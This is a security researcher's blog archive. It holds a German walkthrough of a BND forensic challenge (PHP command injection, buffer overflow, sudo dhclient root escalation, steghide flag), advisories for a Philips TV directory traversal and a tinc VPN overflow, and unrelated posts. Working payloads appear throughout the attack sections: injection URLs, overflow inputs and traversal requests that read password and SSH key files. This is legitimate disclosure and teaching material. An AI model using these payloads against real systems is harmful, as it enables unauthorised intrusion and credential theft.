Konferenz des DKI zu IT-Sicherheit im Krankenhaus

March 14, 2017 at 09:00 PM | categories: general

Am 14. März 2017 veranstaltete das Deutsches Krankenhausinstitut die Konferenz "IT-Sicherheit im Krankenhaus - Aktuelle Gefahren, Anforderungen und Lösungsansätze" in Düsseldorf. Ich war als Referent des Chaos Computer Clubs dort und sprach in meinem 30-Minuten-Slot über Goldstandard-Sicherheitsprobleme und sonstigen Cyber.

Forensik-Challenge des Bundesnachrichtendienstes

March 02, 2017 at 02:15 AM | categories: forensik, bnd

Der Bundesnachrichtendienst veröffenlicht gelegentlich Stellengesuche, deren Bestandteil das Lösen mehr oder weniger kniffliger Aufgaben ist. Dies war zuletzt bei der Suche nach Leuten für Cyber-Quatsch der Fall, wo Applikanten Post-Incident-Informationen ermitteln sollten. Ausgangspunkt der "Challenge" ist eine OVA-Datei, die untersucht werden soll.

So richtig schwer ist die Untersuchung nicht, damit aber auch wenig qualifiziertes zukünftiges Personal eine Chance hat, bietet es sich geradezu an, ein paar Hilfestellungen zu teilen.

Die Schwachstelle

Frage: Beschreiben Sie die Schwachstelle, die die Hacker ausnutzen konnten, um das System zu infiltrieren. Welche Art von Schwachstelle wurde genutzt? Geben Sie einen konkreten Proof-of-Concept (PoC) dafür an.

Als Hinweis wird angegeben, dass es sich um einen Netzwerkdienst handelt. Ausweislich "netstat" gibt es die folgenden Dienste auf dem System:

root@debian:/home/hacker# netstat -latunp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 401/sshd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 687/exim4
tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 4681/0
tcp 0 0 0.0.0.0:59677 0.0.0.0:* LISTEN 386/rpc.statd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 373/rpcbind
tcp 0 0 192.168.2.112:22 192.168.2.100:42672 ESTABLISHED 4679/sshd: hacker [
tcp6 0 0 :::22 :::* LISTEN 401/sshd
tcp6 0 0 ::1:25 :::* LISTEN 687/exim4
tcp6 0 0 ::1:6010 :::* LISTEN 4681/0
tcp6 0 0 :::38304 :::* LISTEN 386/rpc.statd
tcp6 0 0 :::111 :::* LISTEN 373/rpcbind
tcp6 0 0 :::80 :::* LISTEN 691/apache2
udp 0 0 0.0.0.0:40837 0.0.0.0:* 3690/dhclient
udp 0 0 0.0.0.0:972 0.0.0.0:* 373/rpcbind
udp 0 0 127.0.0.1:986 0.0.0.0:* 386/rpc.statd
udp 0 0 0.0.0.0:68 0.0.0.0:* 3690/dhclient
udp 0 0 0.0.0.0:68 0.0.0.0:* 3434/dhclient
udp 0 0 0.0.0.0:42587 0.0.0.0:* 6929/dhclient
udp 0 0 0.0.0.0:111 0.0.0.0:* 373/rpcbind
udp 0 0 0.0.0.0:34996 0.0.0.0:* 386/rpc.statd
udp 0 0 0.0.0.0:3321 0.0.0.0:* 3434/dhclient
udp6 0 0 :::36239 :::* 3434/dhclient
udp6 0 0 :::972 :::* 373/rpcbind
udp6 0 0 :::111 :::* 373/rpcbind
udp6 0 0 :::60025 :::* 386/rpc.statd
udp6 0 0 :::7428 :::* 3690/dhclient
udp6 0 0 :::59690 :::* 6929/dhclient

Hinweis: Die Information wurde zunächst ohne die Option "-p" aufgrufen und nach dem Erlangen von Root-Rechten mit der Option "-p", damit der Programmname angezeigt wird.

Die Hinweise legen nahe, dass das Angriffstor im Bereich Web liegt. Auf dem Host ist ein Apache installiert und dessen DocumentRoot ist im Verzeichnis /var/www/html:

hacker@debian:/var/www/html$ ls -lR
.:
total 16
-rw-r--r-- 1 root root 499 Nov 23 13:14 index.html
drwxr-xr-x 2 root root 4096 Nov 21 15:20 insurances
-rw-r--r-- 1 root root 5243 Nov 23 10:01 originalIndex.php

./insurances:
total 8
-rw-r--r-- 1 root root 61 Nov 21 15:18 0815
-rw-r--r-- 1 root root 59 Nov 21 15:18 0816
-rw-r--r-- 1 root root 0 Nov 21 15:20 index.html

Die Datei "index.html" hat der Angreifer hinterlassen. Das PHP-Skript "originalIndex.php" enthält mutmaßlich die Sicherheitslücke -- PHP, Sicherheitslücke, das soll immerhin noch lösbar sein.

Datei: /var/www/html/originalIndex.php

<?php
if($_GET['password'] != "" && $_GET['file'] != "") {
$command = "/home/readFile ".$_GET['password']." insurances/".$_GET['file'];
}
?>
[...]
newContent = "<div class=\"customerAccess\"><table align=center border=1 cellpadding=10px><tr>
<td>Please provide your cutsomer ID and password to access your insurance policy.</td></tr><tr>
<td><form action=\"originalIndex.php\" method=\"get\"><table width=100%><tr><td width=20%>Password</td>
<td><input type=\"password\" name=\"password\" maxlength=20></td></tr><tr><td>Customer ID</td>
<td><input type=\"text\" name=\"file\" maxlength=5></td></tr></table><p><input class=\"button\"
type=\"button\" value=\"submit\" onclick=\"document.forms[0].submit();\"></form></td></tr></table></div>";
[...]
<?php system($command); ?>
[...]

Die Command-Injection ist offensichtlich. Es gibt jedoch auch weitere Sicherheitsprobleme:

  • Der Webserver ist nur über HTTP erreichbar und nicht über vertraulichkeits- und integritätssicherndes HTTPS. Grundsätzlich können übertragene sensitive Informationen auch mittels Angriffen auf das Netzwerk erlangt und missbraucht werden.
  • Sensitive Informationen werden als HTTP-GET-Parameter übertragen. Somit können sensitive Informationen vielfältig abhanden kommen (Browser-History, Proxy-Logs, URL-Shortener, verschickte Links, ...).
  • In sehr alten PHP-Versionen wurde das Feature unterstützt, dass man Variablen über GET-Parameter induzieren konnte. Das wurde hier nicht weiter untersucht.

Offensichtlich soll man hier die Command-Injection finden. Im Life-System kann man die Nutzbarkeit des Sicherheitsproblems prüfen:

$ curl "http://192.168.2.112/originalIndex.php?password=%3bcat%20/home/readFile.c%3b&file=x" 
<html>
[...]
<div class="overlay-content" style="color: white;">Usage: /home/readFile &lt;password&gt; &lt;file&gt;#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int auth(char *password) {
int authenticated = 0;
char passwordBuffer[16];

strcpy(passwordBuffer, password);

if(strcmp(passwordBuffer, "hIWndje726/=dn23nGd") == 0)
authenticated = 1;

return authenticated;
}

int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s &lt;password&gt; &lt;file&gt;", argv[0]);
exit(0);
}

if(auth(argv[1]) != 0) {
char cmd[80] = "cat ";
strcat(cmd, argv[2]);
system(cmd);
} else {
printf("Access denied!");
}
}
</div>
[...]

Das PHP-Skript ruft das Programm "readFile" auf. Praktischerweise liegt der Quellcode des Programms daneben. Streng genommen weiß man nicht, ob Programmcode und Binary zusammenpassen. Kompiliert man den Quellcode auf dem gleichen System, entsteht zumindest ein Binary, dass gleich groß zu "readFile" ist. Das ist natürlich noch immer keine valide Gleichheitsaussage. Und natürlich ist es im allgemeinen auch keine gute Idee, die Tools aus der Umgebung zu nutzen, die potentiell kompromittiert ist, aber als kurzer Check, ob man hier einem roten Hering aufgesessen ist, kann man das mal machen -- nach den bisherigen Befunden ist fortgeschrittener Cyber nicht zu erwarten.

Der C-Quellcode weist einen stackbasierten Buffer-Overflow nach Lehrbuch auf. Da das Betriebssystem ein Debian 8.6 ist, also ein halbwegs frisches OS, kann man annehmen, dass Stack-Canaries generell und in Bibliothekn unterstützt werden und eine Manipulation der Rücksprungadresse nicht so einfach wird. (Update: Das Program readFile ist tatsächlich ohne Stack-Canary gebaut.) Alternativ kann man die stack-lokale Variable "authenticated" überschreiben, ohne Kanarienvögel zu opfern:

hacker@debian:/home$ ./readFile AAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAAAAAAAAAAA /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]

Bzw:

http://192.168.2.112/originalIndex.php?password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAA%20/etc/passwd&file=x

Notiz: Ein weiteres Problem ist das hartkodierte Passwort. Im realen Leben findet man häufiger hartkodiertes Schlüsselmaterial. Das wird praktisch nie geändert. Außerdem ist dar Puffer bereits kleiner als das hartkodierte Passwort.

Gibt man das Passwort als Parameter an kann man leerzeichengetrennt eine Datei zur Ausgabe spezifizieren, beispielsweise so:

http://192.168.2.112/originalIndex.php?password=hIWndje726/=dn23nGd%20/etc/passwd&file=x

Privilege-Escalation

Frage: Wie waren die Angreifer nach erfolgter Infiltration in der Lage, root-Rechte zu bekommen? Beschreiben Sie die Sicherheitslücke und ermitteln Sie das von den Hackern neu gesetzte root-Passwort.

PHP bzw. das Program "readFile" wird mit Rechten von "www-data" ausgeführt. D. h. ein Angreifer erlangt über die Command-Injection die Rechte von "www-data". Man kann annehmen, dass ein Angreifer einen einfachen Weg gefunden hat, seine Rechte zu erweitern. Ein Beweis ist das nicht.

Klassiker für Privilege-Escalations sind Set-UID-Programme (nichts unmittelbar Auffälliges), Crontabs (keine für User "hacker"), ungünstige Sudoer-Konfigurationen. Einen entsprechenden Hinweis findet man in der folgenden Datei:

Datei: /home/hacker/info

my SSH credentials:
hacker:abcd1234

Info: User hacker is allowed to use sudo for
/sbin/ifconfig and /sbin/dhclient for network configuration.

Dass "dhclient" auch Shell-Skripte im Rahmen der Netzwerkkonfiguration aufrufen kann, liegt nahe. So ist ein PoC einfach umsetzbar, den man auch über die Web-Schnittstelle triggern könnte:

hacker@debian:~$ sudo dhclient -sf /bin/bash lo0
root@debian:/home/hacker# id
uid=0(root) gid=0(root) groups=0(root)

Die Datei "/home/root/Rul0rzZrootPw" lässt sich mit Root-Rechten lesen. Darin steht das Passwort "JDWbwz334aawefHHwf/)2". Ein Test ergibt, dass man damit Root-Rechte erlangen kann:

hacker@debian:~$ su -
Password:
root@debian:~#

Verstecken von Daten

Frage: Welche Daten wurden auf dem System abgelegt? Wie wurden die Daten versteckt? Benennen Sie die Flag.

Mutmaßlich dem Angreifer zuzuordnen sind diese Daten:

  • /var/www/html/index.html
  • /etc/motd
  • /var/spool/cron/doAlwaysCron.sh
  • ...
root@debian:/home/hackedData# ls -l
total 120
-rwx------ 1 root root 110758 Nov 18 14:10 flagImage.jpg
-rwx------ 1 root root 7440 Nov 18 13:41 hackedPasswords.txt

Die Datei "flagImage.jpg" enthält den Hinweis, dass man von einer Lösung nicht mehr weit entfernt ist. Ein Blick in die History-Dateien des Nutzers "root" gibt den Hinweis auf ein Tool namens "steghide". Schaut man mit "strings" in "Debian-disk1.vmdk", sieht man Artefakte eines Python-Helperskriptes:

#!/usr/bin/python
import os
import sys
pic = sys.argv[1]
pws = sys.argv[2]
with open(pws) as f:
content = f.readlines()
for line in content:
curLine = line.strip()
os.system("steghide extract -sf " + pic + " -p " + curLine)

Man kann dann auf die Idee kommen, dass man ein Passwort in "/home/hackedData/hackedPasswords.txt" finden könnte:

$ for i in `cat hackedPasswords.txt`; do steghide extract -sf flagImage.jpg -p $i; done
[...]
steghide: could not extract any data with that passphrase!
wrote extracted data to "flag.txt".
steghide: could not extract any data with that passphrase!
[...]

$ cat flag.txt
You solved the challenge!
Here is your nugget <@:-)

H4CK1NG_1S_RE4LY_4WESOM3!

So ist es dann auch.

Nun ist die Frage nach hinterlegten Daten eine offene Frage, weil natürlich diverse Artefakte im Dateisystem verbleiben. Vielleicht gibt es auch eine weitere versteckte Challenge hinter der Challenge? Kernelmodule, Timestamps im Dateisystem und Prozesse liefern jedoch keine Auffälligkeiten.

SHA-256(ZIP_Challenge.zip) = e13cefde0ee45f05dffa31644a18a10817b9b9801bbb9376ed841858a43c2573

Update vom 16. März 2017: Hanno Böck hat sich durch die Cyber-Challenge durchgecybert und cybernswertes in einem Golem-Artikel dokumentiert.

Fensterbrief - a python script for working with letters based on LaTeX and Markdown

January 22, 2017 at 02:10 AM | categories: latex, tools

I use LaTeX for more than a decade. Naturally it is my preferred tool suite when it comes to writing letters. Since working with LaTeX and doing office work requires a bit book keeping, I started developing a helper tool to work with LaTeX letters and corresponding templates.

I think everything started when I had to write a letter a long time ago and instead of just writing the letter directly, I implemented a CGI script that asked for metadata and then rendered everything into a PDF file using the LaTeX code as intermediate format. There are several similar scripted approaches, you can find on the Internet. Meanwhile, for me it is more natural to have LaTeX letter files on my filesystem and when I write a new letter, I may reuse an old one, especially to reuse the recipient address I manually inserted into a letter to the same recipient before. So, I keep the LaTeX letter files for a later reuse and the PDF output to have a printable copy and I have several unnecessary artifact files, which usually remain in the filesystem, too. My letters are organized in a directory structure: each directory corresponds to a business process, which stores one or more documents related to it. The files and folder have a fixed naming scheme, which includes a date in ISO date notation (YYYY-MM-DD) for letters and a YYYY-MM format for folder names to support a file name based lexicographical order.

For a long time, I manually organized these files and directories. Recently, I started automating the process and wrote a python script that implements it. The idea is to have a tool that enables me writing letters similar fast as writing e-mails, in other words in a fire and forget style. Hence, I recently added the support for Markdown and support for the lookup of postal addresses via the Google API.

The tool is called Fensterbrief and it supports these features:

  • intended to be used via command line
  • maintaining a folder and document structure
  • support for LaTeX and Markdown based letters
  • support for fax transmissions via simple-fax.de
  • support for buying postage for the Deutsche Post
  • lookup postal addresses via the Google API

The source code, further documentation, and usage examples are on Github.

Traveling like a pro – an eight step guide to master business trips in Europe and to avoid common pitfalls

January 13, 2017 at 09:20 PM | categories: general

I would like to share some insights into “professional” traveling. This post condenses some personal travel experiences and experiences by others, because it is also possible to learn from mistakes and incautiousness of others. The focus is clearly on Europe, because if you travel to farther countries, you may experience more complex issues during your trip. Also, travelling with children is completely different, too. Here is my list of recommendations, but please take everything with a grain of salt as it should not be taken too serious.

Avoid booking the last train or plane

Whatever you take as a vehicle to reach your destination, it will be delayed. This is no problem as long as you do not depend on any connecting train or plane. In a few situations, the connecting vehicle will wait to compensate the delay, but in most cases not. Thus, if you booked the last possible train or plane and it gets delayed, you may be braced for an overnight stay at a usually unpleasant location.

Holmes and Watson in a Sidney Paget illustration for "Silver Blaze", public domain

Always have enough cash to pay a cab

As already said, vehicles will be delayed—that should be clear, but usually you don’t know the exact reason for the delay, before. It could be snow and there is a slight chance that you can predict it. But be aware of situations, where the rail or road is blocked by another vehicle. Sometimes, there is a chance that you are able to leave your blocked vehicle and switch to a cab. In order to avoid more hassle than necessary, you should have some money to pay for it.

Put extra clothes in your carry-on baggage

You know, you can’t put everything in your carry-on baggage. If you possess extraordinary items like—let’s say shampoo—you have to book extra baggage for your flight. But be aware, don’t put everything in your baggage. You should expect that things will fail. An absolutely unsuitable failure is the loss of baggage by the airline, when you want to meet your customer on site the next day with clean clothes. Thus, put some backup clothes in your carry-on baggage. Everything else could be bought at an airport or at a petrol station or is part of your first-aid kit from the lost baggage service. Contrary to a popular book, a towel is not necessary.

Always contact your hotel before arrival

Be aware, that most family-operated hotels or hotels outside the big metropolises have no 24/7 reception. Thus, you should always ensure that you are able to get your room, even if you are beyond your original traveling schedule. Call your hotel at latest on the day of arrival and ask if everything is fine. You are already aware that the booking service may have failed, too.

If you live in a big city, you should be aware that opening hours at your destination may have unexpected limits such as 6 p.m. and that buying things may be a problem. If you get surprised, petrol stations are your friend.

Never take the first hackney

If you read Sherlock Holmes carefully, you should know that taking the first hackney, which waits in front of 221B Baker Street is a beginner's mistake. You should also know that this situation has not changed since. Certainly you will not start your trip at Baker Street, but likely at an airport in a foreign city. If there is someone unknown catching you at the airport exit and asking you if you need a cab, just say “no” and choose a cab by yourself.

As a pro, you will have researched taxi fares via the Internet before and you asked the cab driver for a cost estimation at the latest when you are entering the cab.

Sherlock Holmes ordering a hackney, illustraion by Sidney Paget, public domain

Be aware of local situations

Things are different once you leave your home zone and you have to deal with unexpected and unrecognized situations. First, bank holidays differ from country to country. Familiarize yourself with the circumstances at your destination. Second, be aware of local strikes you may have not read about them in the trans-regional papers. You may fall back to cabs, but everyone needs one, if there is a public transport strike. Thus, be early.

Check for trade shows as early as possible. If not, you may notice it, once you want to book your hotel at the latest possible moment. A two-star hotel room with shared toilet and bad breakfast may cost 300 Euros in Germany per night and algorithms at your preferred booking platform may boost hotel prices up to 1000 Euros per day.

Prefer more remote hotels to benefit from higher quality

Instead of paying too much money for a too poor hotel, you may prefer a hotel that is distant from your site of operation and that comes up with surprising levels of quality. Pay less for a much better breakfast and a better hotel room in a beautiful city or district.

Never rely on the motivation and abilities of your travel agency

If you book your hotel via a travel agency, do not rely on their assessment. In most cases, they usually will not know your requirements, they will not know the on-site circumstances, the weighting factors for your booking decision or what level of quality you will get for a certain amount of money. Research for yourself or a ask people you know.

Sherlock Holmes in bed, illustraion by Sidney Paget, public domain

Be prepared and have a pleasant journey!

Image source: Sidney Paget

Update

November 22, 2015 at 11:42 PM | categories: general

As I work for quite some time as a full-time analyst at modzero, a boutique security company, I finally updated this website to reflect this change. I will keep my blog posts here and if there are things I like to document - likely security-related - that will happen here, too.

JointSpace Server Directory Traversal Vulnerability on a Philips 6000 Series Smart LED TV

September 16, 2013 at 02:23 AM | categories: advisory

The JointSpace Remote API is a Philips TV built-in interface for external programs to remote control the TV. Therefore, a HTTP server runs on TV devices on TCP port 1925 and provides a REST API. This JointSpace server is affected by a directory traversal vulnerability, which allows an attacker with access to the same network to retrieve files from the TV.

Affected Products

The test system is a Philips 42PFL6687K/12 running firmware version QF1EU-0.150.88.0_bld72a with the build timestamp 20/06/2013 02:11:53. Other products may be affected, too.

Impact

Due to a very limited access to a test device, this vulnerability was not investigated further, but access to sensitive information may be possible. Since the TV is capable of storing credentials for Internet services such as social media platforms and payment services, the possibility of leaking sensitive data cannot be precluded.

Proof of Concept

Files can be accessed via HTTP requests as shown below.

Reading the system's password file:

$ telnet 192.168.2.105 1925
Trying 192.168.2.105...
Connected to 192.168.2.105.
Escape character is '^]'.
GET /../../../../../etc/passwd HTTP/1.0

HTTP/1.0 200 OK
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Content-type: application/octet-stream
Date: Sat, 14 Sep 2013 21:22:11 GMT

root:rwiafNx/rlFbI:0:0:root:/root:/bin/sh
bin:*:1:1:bin:/bin:/dev/null
daemon:*:2:2:daemon:/sbin:/dev/null
adm:*:3:4:adm:/var/tmp:/dev/null
ftp:*:14:50:FTP User:/var/tmp:/dev/null
nobody:*:99:99:Nobody:/:/dev/null
rpcuser:x:29:29:RPC Service User:/var/tmp:/dev/null
nfsnobody:x:65534:65534:Anonymous NFS User:/var/tmp:/dev/null
Connection closed by foreign host.

Reading root's authorized keys:

$ curl -s "http://192.168.2.105:1925/../../../../root/.ssh/known_hosts" -o - 
172.21.1.1 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIE9RifQ74XpzUnEnkAnuBl84l
N7wVONqs5ZOxdEEJjFp2QMwHar+6H1OG7N02P5LCWoxHkfq92uA22ZoxrSctzgWSxhW/rXSs3kR
ikeasN4JUYIHg7MkHssQa0XoqfhiwxhCt7U0jDSq04Z+I21YwhmP49I82750tXRdAH8GTYB2f
172.21.1.2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIE9RifQ74XpzUnEnkAnuBl84l
N7wVONqs5ZOxdEEJjFp2QMwHar+6H1OG7N02P5LCWoxHkfq92uA22ZoxrSctzgWSxhW/rXSs3kR
ikeasN4JUYIHg7MkHssQa0XoqfhiwxhCt7U0jDSq04Z+I21YwhmP49I82750tXRdAH8GTYB2f

Reading host's SSH keys:

$ curl -s "http://192.168.2.105:1925/../../../..//etc/dropbear/dropbear_rsa_host_key" -o - | hd
00000000  00 00 00 07 73 73 68 2d  72 73 61 00 00 00 03 01  |....ssh-rsa.....|
00000010  00 01 00 00 00 83 00 88  13 d4 62 7d 0e f8 5e 9c  |..........b}..^.|
00000020  d4 9c 49 e4 02 7b 81 97  ce 25 37 bc 15 38 da ac  |..I..{...%7..8..|
00000030  e5 93 b1 74 41 09 8c 5a  76 40 cc 07 6a bf ba 1f  |...tA..Zv@..j...|
00000040  53 86 ec dd 36 3f 92 c2  5a 8c 47 91 fa bd da e0  |S...6?..Z.G.....|
00000050  36 d9 9a 31 ad 27 2d ce  05 92 c6 15 bf ad 74 ac  |6..1.'-.......t.|
00000060  de 44 62 91 e6 ac 37 82  54 60 81 e0 ec c9 07 b2  |.Db...7.T`......|
00000070  c4 1a d1 7a 2a 7e 18 b0  c6 10 ad ed 4d 23 0d 2a  |...z*~......M#.*|
00000080  b4 e1 9f 88 db 56 30 86  63 f8 f4 8f 36 ef 9d 2d  |.....V0.c...6..-|
00000090  5d 17 40 1f c1 93 60 1d  9f 00 00 00 82 3d a9 8a  |].@...`......=..|
000000a0  b0 d4 8d af 93 a4 0a 9e  05 c7 ba 2e 40 43 cb 88  |............@C..|
000000b0  c6 f0 46 47 9c a4 03 66  41 5f f6 46 be e0 91 3c  |..FG...fA_.F...<|
000000c0  7c 98 11 d1 ee a3 da 64  46 3a 59 a6 46 39 26 f1  ||......dF:Y.F9&.|
000000d0  f1 4e 9f aa 5f a0 01 8a  ea 99 ff 26 45 55 2b 8c  |.N.._......&EU+.|
000000e0  14 39 12 3f ac 75 30 ad  ac 0b fb 19 28 de 01 17  |.9.?.u0.....(...|
000000f0  4f 66 1a 91 0b d1 43 0b  be 65 07 c3 e8 77 39 26  |Of....C..e...w9&|
00000100  7d 2a 89 5a be 8b 11 8b  b1 c3 25 73 a2 2b 7e 65  |}*.Z......%s.+~e|
00000110  67 77 76 f7 b3 d7 90 9f  f0 9b b9 db 48 66 bd 00  |gwv.........Hf..|
00000120  00 00 42 00 ef 01 85 f2  72 67 11 0a 55 ac b2 86  |..B.....rg..U...|
00000130  28 0c 54 8f 80 21 c4 f5  ad 7b 1a 0e 65 e8 fc 9a  |(.T..!...{..e...|
00000140  58 0a 49 2b a7 70 ee 33  69 a5 a9 2a 14 29 59 67  |X.I+.p.3i..*.)Yg|
00000150  12 b9 85 f6 ec ae 84 31  63 af 4f de 14 37 e8 2c  |.......1c.O..7.,|
00000160  5f d5 37 0a 55 00 00 00  42 00 91 c0 c3 57 57 b2  |_.7.U...B....WW.|
00000170  f4 88 af 3f 37 50 47 59  65 0a 2a 1a ba 18 b7 11  |...?7PGYe.*.....|
00000180  90 e2 ae 3e 06 80 c8 4b  40 16 22 02 8c 18 4b 0d  |...>...K@."...K.|
00000190  16 3b 6d 01 30 a5 b9 31  36 b7 4d cd 68 5a e8 66  |.;m.0..16.M.hZ.f|
000001a0  47 b8 b2 9d f7 2d a5 7b  0e e4 23                 |G....-.{..#|
000001ab

Reading /proc/cpuinfo:

$ curl 'http://192.168.2.105:1925/../../../../proc/cpuinfo' -o -
system type                : Digital TRIDENT SYSTEM
processor                  : 0
cpu model                  : MIPS 74Kc V5.0  FPU V0.0
BogoMIPS                   : 499.92
wait instruction           : yes
microsecond timers         : yes
tlb_entries                : 64
extra interrupt vector     : yes
hardware watchpoint        : yes, count: 4, address/irw mask: [0x0000, 0x0b30, 0x0b00, 0x0e48]
ASEs implemented           : mips16 dsp
shadow register sets       : 1
core                       : 0
VCED exceptions            : not available
VCEI exceptions            : not available

Workaround

A workaround is currently not known.

Timeline

Stack-based Buffer Overflow in the VPN Software tinc for Authenticated Peers

April 22, 2013 at 11:42 PM | categories: advisory

The VPN software tinc is affected by a buffer overflow in a protocol parser, which results in a memory corruption and possibly a code execution. An attacker might trigger this vulnerability from a remote side via the network. Triggering this vulnerability requires being a known and authenticated peer in order to speak the so-called meta protocol.

CVE-2013-1428 was assigned to this vulnerability.

Affected Products

The vulnerability is known to be present in tinc version 1.1-pre6 and 1.0.19. Other versions might be affected as well. Version 1.0.19 is the default version on Ubuntu Linux 12.10 and is available in the FreeBSD ports collection.

Recommendation

The vulnerability is fixed in tinc versions 1.0.21 and 1.1pre7. It is recommended to upgrade existing installations.

Details

In net_packet.c, the function receive_tcppacket() declares a stack-local structure and this structure contains a buffer of 1661 elements. The function uses memcpy() to copy data from a helper buffer. This helper buffer contains network data and might become larger than the destination buffer. If an attacker sends a specially crafted packet, he might overwrite memory beyond the buffer boundaries.

Net.h:

typedef struct vpn_packet_t {
  length_t len;   /* the actual number of bytes in the `data' field */
  int priority;   /* priority or TOS */
  uint32_t seqno; /* 32 bits sequence number (network byte order of course) */
  uint8_t data[MAXSIZE]; // auditor remark: MAXSIZE == 1661
} vpn_packet_t;

Net_packet.c:

void receive_tcppacket(connection_t *c, const char *buffer, int len) {
  vpn_packet_t outpkt;

  outpkt.len = len;
  if(c->options & OPTION_TCPONLY)
    outpkt.priority = 0;
  else
    outpkt.priority = -1;
  // auditor remark: len > outpkt.data[MAXSIZE] ?
  memcpy(outpkt.data, buffer, len); 

  receive_packet(c->node, &outpkt);
}

Meta.c:

bool receive_meta(connection_t *c) {
  int inlen;
  char inbuf[MAXBUFSIZE]; // MAXSIZE +128
  char *bufp = inbuf, *endp;
[...]
  inlen = recv(c->socket, inbuf, sizeof inbuf - c->inbuf.len, 0);
[...]
  do {
[...]
    while(c->inbuf.len) {
      /* Are we receiving a TCPpacket? */

      if(c->tcplen) {
    char *tcpbuffer = buffer_read(&c->inbuf, c->tcplen);
    if(!tcpbuffer)
      break;
    if(!c->node) {
[...]
    } else {
      if(c->allow_request == ALL) {
        receive_tcppacket(c, tcpbuffer, c->tcplen);
      } 
[...]
    }
        c->tcplen = 0;
      }
[...]
    }
  } while(inlen);

  return true;
}

According to receive_meta(), it is required that all meta protocol commands are enabled for a client in order to call receive_tcppacket(). These commands are enabled, if the is client successfully authenticated.

Proof of Concept

This python script mocks the authentication procedure and overflows the buffer afterwards, which results in a memory corruption as shown below.

Linux:

$ sudo /usr/sbin/tincd -D -d 5 -c /usr/local/etc/tinc/testnet/
tincd 1.0.19 (Jun 29 2012 14:10:44) starting, debug level 1
/dev/net/tun is a Linux tun/tap device (tun mode)
Unconfigured tinc-up script, please edit!
Listening on 0.0.0.0 port 655
Listening on :: port 655
Ready
Connection from 10.0.0.123 port 44645
Connection with testnode2 (10.0.0.123 port 44645) activated
*** buffer overflow detected ***: /usr/sbin/tincd terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x65)[0xb749f065]
/lib/i386-linux-gnu/libc.so.6(+0x102e1a)[0xb749de1a]
/usr/sbin/tincd[0x804f42b]
/usr/sbin/tincd[0x804e12f]
/usr/sbin/tincd[0x804ec22]
/usr/sbin/tincd[0x804b71c]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb73b44d3]
/usr/sbin/tincd[0x804b8b9]
======= Memory map: ========
08048000-08069000 r-xp 00000000 08:01 308865     /usr/sbin/tincd
08069000-0806a000 r--p 00020000 08:01 308865     /usr/sbin/tincd
0806a000-0806b000 rw-p 00021000 08:01 308865     /usr/sbin/tincd
0806b000-080dc000 rw-p 00000000 00:00 0 
096c6000-096e7000 rw-p 00000000 00:00 0          [heap]
b7369000-b7385000 r-xp 00000000 08:01 132074     /lib/i386-linux-gnu/libgcc_s.so.1
b7385000-b7386000 r--p 0001b000 08:01 132074     /lib/i386-linux-gnu/libgcc_s.so.1
b7386000-b7387000 rw-p 0001c000 08:01 132074     /lib/i386-linux-gnu/libgcc_s.so.1
b739a000-b739b000 rw-p 00000000 00:00 0 
b739b000-b753e000 r-xp 00000000 08:01 132049     /lib/i386-linux-gnu/libc-2.15.so
b753e000-b753f000 ---p 001a3000 08:01 132049     /lib/i386-linux-gnu/libc-2.15.so
b753f000-b7541000 r--p 001a3000 08:01 132049     /lib/i386-linux-gnu/libc-2.15.so
b7541000-b7542000 rw-p 001a5000 08:01 132049     /lib/i386-linux-gnu/libc-2.15.so
b7542000-b7545000 rw-p 00000000 00:00 0 
b7545000-b7548000 r-xp 00000000 08:01 132064     /lib/i386-linux-gnu/libdl-2.15.so
b7548000-b7549000 r--p 00002000 08:01 132064     /lib/i386-linux-gnu/libdl-2.15.so
b7549000-b754a000 rw-p 00003000 08:01 132064     /lib/i386-linux-gnu/libdl-2.15.so
b754a000-b756b000 r-xp 00000000 08:01 304244     /usr/lib/i386-linux-gnu/liblzo2.so.2.0.0
b756b000-b756c000 r--p 00020000 08:01 304244     /usr/lib/i386-linux-gnu/liblzo2.so.2.0.0
b756c000-b756d000 rw-p 00021000 08:01 304244     /usr/lib/i386-linux-gnu/liblzo2.so.2.0.0
b756d000-b756e000 rw-p 00000000 00:00 0 
b756e000-b7585000 r-xp 00000000 08:01 132183     /lib/i386-linux-gnu/libz.so.1.2.7
b7585000-b7586000 r--p 00016000 08:01 132183     /lib/i386-linux-gnu/libz.so.1.2.7
b7586000-b7587000 rw-p 00017000 08:01 132183     /lib/i386-linux-gnu/libz.so.1.2.7
b7587000-b7719000 r-xp 00000000 08:01 182182     /lib/i386-linux-gnu/libcrypto.so.1.0.0
b7719000-b7728000 r--p 00192000 08:01 182182     /lib/i386-linux-gnu/libcrypto.so.1.0.0
b7728000-b772f000 rw-p 001a1000 08:01 182182     /lib/i386-linux-gnu/libcrypto.so.1.0.0
b772f000-b7732000 rw-p 00000000 00:00 0 
b7744000-b7747000 rw-p 00000000 00:00 0 
b7747000-b7748000 r-xp 00000000 00:00 0          [vdso]
